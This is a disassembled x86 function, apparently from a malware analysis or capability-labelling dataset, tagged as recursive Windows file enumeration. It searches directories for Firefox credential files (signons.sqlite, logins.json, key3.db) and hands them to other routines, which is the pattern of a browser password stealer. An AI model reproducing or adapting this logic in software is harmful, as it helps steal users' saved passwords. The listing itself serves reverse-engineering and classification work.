Function at 0x63086a99
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov eax, 0x2e7c
mov ebp, esp
push edi
push esi
push ebx
call fcn.630a6c70
mov ecx, 0x200
lea ebx, [ebp - 0x2818]
sub esp, eax
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_wcscpy
mov dword [esp], ebx
call fcn.630852d2
mov dword [esp + 4], 0x630c441c
mov dword [esp], ebx
call sub.msvcrt.dll_wcscat
lea eax, [ebp - 0x2e68]
mov dword [esp], ebx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x2e6c], eax
inc eax
push ecx
push ecx
je 0x63086d17
lea ebx, [ebp - 0x2018]
test byte [ebp - 0x2e68], 0x10
je 0x63086c6c
lea eax, [ebp - 0x2e3c]
mov dword [esp + 4], 0x630c4420
mov dword [esp], eax
call fcn.6308579a
test al, al
jne 0x63086c6c
lea eax, [ebp - 0x2e3c]
mov dword [esp + 4], 0x630c4424
mov dword [esp], eax
call fcn.6308579a
test al, al
jne 0x63086c6c
xor eax, eax
mov ecx, 0x200
mov edi, ebx
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [esp], ebx
lea edi, [ebp - 0x1818]
lea esi, [ebp - 0x818]
mov dword [esp + 4], eax
call sub.msvcrt.dll_wcscpy
mov dword [esp], ebx
call fcn.630852d2
lea eax, [ebp - 0x2e3c]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_wcscat
mov dword [esp], ebx
call fcn.630852d2
xor eax, eax
mov ecx, 0x200
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x1818]
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.msvcrt.dll_wcscpy
lea eax, [ebp - 0x1818]
mov dword [esp + 4], str.signons.sqlite
mov dword [esp], eax
call sub.msvcrt.dll_wcscat
lea edx, [ebp - 0x1018]
xor eax, eax
mov ecx, 0x200
mov edi, edx
mov dword [ebp - 0x2e70], edx
rep stosd dword es:[edi], eax
mov dword [esp], edx
mov dword [esp + 4], ebx
mov edi, esi
call sub.msvcrt.dll_wcscpy
mov edx, dword [ebp - 0x2e70]
mov dword [esp + 4], str.logins.json
mov dword [esp], edx
call sub.msvcrt.dll_wcscat
xor eax, eax
mov ecx, 0x200
rep stosd dword es:[edi], eax
mov dword [esp + 4], ebx
mov dword [esp], esi
call sub.msvcrt.dll_wcscpy
mov dword [esp + 4], str.key3.db
mov dword [esp], esi
call sub.msvcrt.dll_wcscat
lea eax, [ebp - 0x1818]
mov dword [esp], eax
call fcn.6308532c
test al, al
mov edx, dword [ebp - 0x2e70]
jne 0x63086ca1
mov dword [esp], edx
call fcn.6308532c
test al, al
jne 0x63086ca1
mov dword [esp], esi
call fcn.6308532c
test al, al
jne 0x63086ca1
mov eax, dword [ebp + 0xc]
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.63086a99
lea eax, [ebp - 0x2e68]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2e6c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
push edx
push edx
jne 0x63086b0b
mov eax, dword [ebp - 0x2e6c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push eax
jmp 0x63086d17
lea esi, [ebp - 0x2c18]
xor eax, eax
mov ecx, 0x100
mov edi, esi
rep stosd dword es:[edi], eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], ebx
lea edi, [ebp - 0x1018]
mov dword [esp], esi
call sub.msvcrt.dll_wcstombs
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x1818]
mov dword [esp + 8], edi
mov dword [esp + 4], edx
mov dword [ebp - 0x2e70], edx
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x818]
mov dword [esp], eax
call fcn.63085fa4
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x2e70]
mov dword [esp + 4], edi
mov dword [esp], esi
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
call fcn.63085f36
jmp 0x63086c5d
mov edi, dword [ebp + 0xc]
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
lea esp, [ebp - 0xc]
mov eax, ecx
not eax
pop ebx
dec eax
pop esi
pop edi
pop ebp
ret